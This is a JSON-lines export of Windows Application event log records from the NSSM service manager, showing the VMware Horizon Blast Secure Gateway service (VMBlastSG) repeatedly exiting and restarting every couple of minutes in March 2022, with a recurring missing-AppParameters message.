{"@timestamp":1646836973177,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167225}}
{"@timestamp":1646836973178,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167226}}
{"@timestamp":1646836973179,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","164160","0"]}}},"module":"Application","provider":"nssm","sequence":167227}}
{"@timestamp":1646836973180,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["164160","164160","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167228}}
{"@timestamp":1646836973199,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167229}}
{"@timestamp":1646836973200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167230}}
{"@timestamp":1646836973200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167231}}
{"@timestamp":1646836973201,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167232}}
{"@timestamp":1646837101769,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167233}}
{"@timestamp":1646837101770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167234}}
{"@timestamp":1646837101771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162824","0"]}}},"module":"Application","provider":"nssm","sequence":167235}}
{"@timestamp":1646837101772,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162824","162824","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167236}}
{"@timestamp":1646837101790,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167237}}
{"@timestamp":1646837101791,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167238}}
{"@timestamp":1646837101791,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167239}}
{"@timestamp":1646837101792,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167240}}
{"@timestamp":1646837230556,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167241}}
{"@timestamp":1646837230556,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167242}}
{"@timestamp":1646837230557,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","164100","0"]}}},"module":"Application","provider":"nssm","sequence":167243}}
{"@timestamp":1646837230557,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["164100","164100","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167244}}
{"@timestamp":1646837230574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167245}}
{"@timestamp":1646837230574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167246}}
{"@timestamp":1646837230575,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167247}}
{"@timestamp":1646837230576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167248}}
{"@timestamp":1646837359069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167249}}
{"@timestamp":1646837359069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167250}}
{"@timestamp":1646837359070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","164564","0"]}}},"module":"Application","provider":"nssm","sequence":167251}}
{"@timestamp":1646837359071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["164564","164564","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167252}}
{"@timestamp":1646837359087,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167253}}
{"@timestamp":1646837359088,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167254}}
{"@timestamp":1646837359088,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167255}}
{"@timestamp":1646837359089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167256}}
{"@timestamp":1646837487583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167257}}
{"@timestamp":1646837487584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167258}}
{"@timestamp":1646837487584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162564","0"]}}},"module":"Application","provider":"nssm","sequence":167259}}
{"@timestamp":1646837487585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162564","162564","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167260}}
{"@timestamp":1646837487604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167261}}
{"@timestamp":1646837487604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167262}}
{"@timestamp":1646837487605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167263}}
{"@timestamp":1646837487606,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167264}}
{"@timestamp":1646837616091,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167265}}
{"@timestamp":1646837616092,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167266}}
{"@timestamp":1646837616093,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163092","0"]}}},"module":"Application","provider":"nssm","sequence":167267}}
{"@timestamp":1646837616094,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163092","163092","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167268}}
{"@timestamp":1646837616113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167269}}
{"@timestamp":1646837616113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167270}}
{"@timestamp":1646837616114,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167271}}
{"@timestamp":1646837616115,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167272}}
{"@timestamp":1646837744622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167273}}
{"@timestamp":1646837744623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167274}}
{"@timestamp":1646837744624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","164012","0"]}}},"module":"Application","provider":"nssm","sequence":167275}}
{"@timestamp":1646837744625,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["164012","164012","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167276}}
{"@timestamp":1646837744643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167277}}
{"@timestamp":1646837744644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167278}}
{"@timestamp":1646837744645,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167279}}
{"@timestamp":1646837744645,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167280}}
{"@timestamp":1646837873217,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167281}}
{"@timestamp":1646837873218,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167282}}
{"@timestamp":1646837873219,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163540","0"]}}},"module":"Application","provider":"nssm","sequence":167283}}
{"@timestamp":1646837873219,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163540","163540","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167284}}
{"@timestamp":1646837873235,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167285}}
{"@timestamp":1646837873236,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167286}}
{"@timestamp":1646837873236,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167287}}
{"@timestamp":1646837873237,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167288}}
{"@timestamp":1646838001731,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167289}}
{"@timestamp":1646838001732,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167290}}
{"@timestamp":1646838001732,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163940","0"]}}},"module":"Application","provider":"nssm","sequence":167291}}
{"@timestamp":1646838001733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163940","163940","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167292}}
{"@timestamp":1646838001750,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167293}}
{"@timestamp":1646838001751,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167294}}
{"@timestamp":1646838001751,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167295}}
{"@timestamp":1646838001752,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167296}}
{"@timestamp":1646838130315,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167297}}
{"@timestamp":1646838130316,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167298}}
{"@timestamp":1646838130317,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","164384","0"]}}},"module":"Application","provider":"nssm","sequence":167299}}
{"@timestamp":1646838130317,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["164384","164384","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167300}}
{"@timestamp":1646838130333,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167301}}
{"@timestamp":1646838130334,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167302}}
{"@timestamp":1646838130334,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167303}}
{"@timestamp":1646838130335,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167304}}
{"@timestamp":1646838258821,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167305}}
{"@timestamp":1646838258821,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167306}}
{"@timestamp":1646838258822,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","164248","0"]}}},"module":"Application","provider":"nssm","sequence":167307}}
{"@timestamp":1646838258823,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["164248","164248","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167308}}
{"@timestamp":1646838258840,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167309}}
{"@timestamp":1646838258840,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167310}}
{"@timestamp":1646838258841,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167311}}
{"@timestamp":1646838258842,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167312}}
{"@timestamp":1646838387354,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167313}}
{"@timestamp":1646838387355,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167314}}
{"@timestamp":1646838387362,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163988","0"]}}},"module":"Application","provider":"nssm","sequence":167315}}
{"@timestamp":1646838387362,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163988","163988","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167316}}
{"@timestamp":1646838387379,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167317}}
{"@timestamp":1646838387380,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167318}}
{"@timestamp":1646838387380,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167319}}
{"@timestamp":1646838387381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167320}}
{"@timestamp":1646838515902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167321}}
{"@timestamp":1646838515903,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167322}}
{"@timestamp":1646838515904,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163436","0"]}}},"module":"Application","provider":"nssm","sequence":167323}}
{"@timestamp":1646838515904,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163436","163436","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167324}}
{"@timestamp":1646838515921,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167325}}
{"@timestamp":1646838515921,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167326}}
{"@timestamp":1646838515922,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167327}}
{"@timestamp":1646838515923,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167328}}
{"@timestamp":1646838644399,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167329}}
